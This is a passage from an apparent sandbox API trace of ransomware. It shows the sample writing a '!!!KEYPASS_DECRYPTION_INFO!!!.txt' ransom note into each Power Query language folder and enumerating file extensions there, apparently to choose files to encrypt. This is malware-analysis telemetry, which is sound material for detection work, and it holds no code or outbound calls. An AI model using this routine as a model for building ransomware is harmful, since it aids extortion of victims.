[0247.968] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.968] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38f5bd8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.968] GetLastError () returned 0x3f0 [0247.968] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.968] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\mn\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x704 [0247.979] GetFileType (hFile=0x704) returned 0x1 [0247.979] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.979] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.979] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.979] WriteFile (in: hFile=0x704, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.980] WriteFile (in: hFile=0x704, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.980] CloseHandle (hObject=0x704) returned 1 [0247.981] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9d48 [0247.981] FindNextFileW (in: hFindFile=0x2ef9d48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.981] FindNextFileW (in: hFindFile=0x2ef9d48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.981] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.981] FindNextFileW (in: hFindFile=0x2ef9d48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.981] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.981] FindNextFileW (in: hFindFile=0x2ef9d48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.981] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.981] FindNextFileW (in: hFindFile=0x2ef9d48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.981] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.981] FindNextFileW (in: hFindFile=0x2ef9d48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.981] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.981] FindNextFileW (in: hFindFile=0x2ef9d48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.981] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.981] FindNextFileW (in: hFindFile=0x2ef9d48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.981] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.981] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.981] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38f5bd8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.981] GetLastError () returned 0x3f0 [0247.981] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.982] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\mr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x700 [0248.030] GetFileType (hFile=0x700) returned 0x1 [0248.030] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.030] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.030] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.030] WriteFile (in: hFile=0x700, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.031] WriteFile (in: hFile=0x700, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.031] CloseHandle (hObject=0x700) returned 1 [0248.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9d88 [0248.032] FindNextFileW (in: hFindFile=0x2ef9d88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.032] FindNextFileW (in: hFindFile=0x2ef9d88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.032] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.032] FindNextFileW (in: hFindFile=0x2ef9d88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.032] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.032] FindNextFileW (in: hFindFile=0x2ef9d88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.032] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.032] FindNextFileW (in: hFindFile=0x2ef9d88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.032] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.032] FindNextFileW (in: hFindFile=0x2ef9d88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.032] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.032] FindNextFileW (in: hFindFile=0x2ef9d88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.032] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.032] FindNextFileW (in: hFindFile=0x2ef9d88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.032] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.032] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.032] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38f5bd8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.032] GetLastError () returned 0x3f0 [0248.032] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.032] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ms\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x70c [0248.105] GetFileType (hFile=0x70c) returned 0x1 [0248.105] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.106] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.106] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.106] WriteFile (in: hFile=0x70c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.107] WriteFile (in: hFile=0x70c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.107] CloseHandle (hObject=0x70c) returned 1 [0248.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9b08 [0248.107] FindNextFileW (in: hFindFile=0x2ef9b08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.107] FindNextFileW (in: hFindFile=0x2ef9b08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.107] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.107] FindNextFileW (in: hFindFile=0x2ef9b08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.107] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0248.107] FindNextFileW (in: hFindFile=0x2ef9b08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.107] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.107] FindNextFileW (in: hFindFile=0x2ef9b08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.108] FindNextFileW (in: hFindFile=0x2ef9b08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.108] FindNextFileW (in: hFindFile=0x2ef9b08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.108] FindNextFileW (in: hFindFile=0x2ef9b08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.108] FindNextFileW (in: hFindFile=0x2ef9b08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0248.108] FindNextFileW (in: hFindFile=0x2ef9b08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0248.108] FindNextFileW (in: hFindFile=0x2ef9b08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0248.108] FindNextFileW (in: hFindFile=0x2ef9b08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.108] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.108] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.108] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38f5bd8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.109] GetLastError () returned 0x3f0 [0248.109] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.109] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\mt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x708 [0248.122] GetFileType (hFile=0x708) returned 0x1 [0248.122] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.122] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.122] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.122] WriteFile (in: hFile=0x708, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.123] WriteFile (in: hFile=0x708, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.123] CloseHandle (hObject=0x708) returned 1 [0248.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2efa208 [0248.123] FindNextFileW (in: hFindFile=0x2efa208, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.123] FindNextFileW (in: hFindFile=0x2efa208, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.123] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.123] FindNextFileW (in: hFindFile=0x2efa208, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.123] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.123] FindNextFileW (in: hFindFile=0x2efa208, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.123] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.123] FindNextFileW (in: hFindFile=0x2efa208, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.124] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.124] FindNextFileW (in: hFindFile=0x2efa208, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.124] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.124] FindNextFileW (in: hFindFile=0x2efa208, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.124] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.124] FindNextFileW (in: hFindFile=0x2efa208, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.124] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.124] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.124] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38f5bd8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.124] GetLastError () returned 0x3f0 [0248.124] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.124] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ne\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x710 [0248.129] GetFileType (hFile=0x710) returned 0x1 [0248.129] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.129] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.129] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.129] WriteFile (in: hFile=0x710, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.130] WriteFile (in: hFile=0x710, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.130] CloseHandle (hObject=0x710) returned 1 [0248.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2efa088 [0248.131] FindNextFileW (in: hFindFile=0x2efa088, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.131] FindNextFileW (in: hFindFile=0x2efa088, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.131] FindNextFileW (in: hFindFile=0x2efa088, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.131] FindNextFileW (in: hFindFile=0x2efa088, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.131] FindNextFileW (in: hFindFile=0x2efa088, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.131] FindNextFileW (in: hFindFile=0x2efa088, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\Microsoft.Mashup.Document.resources.dll") 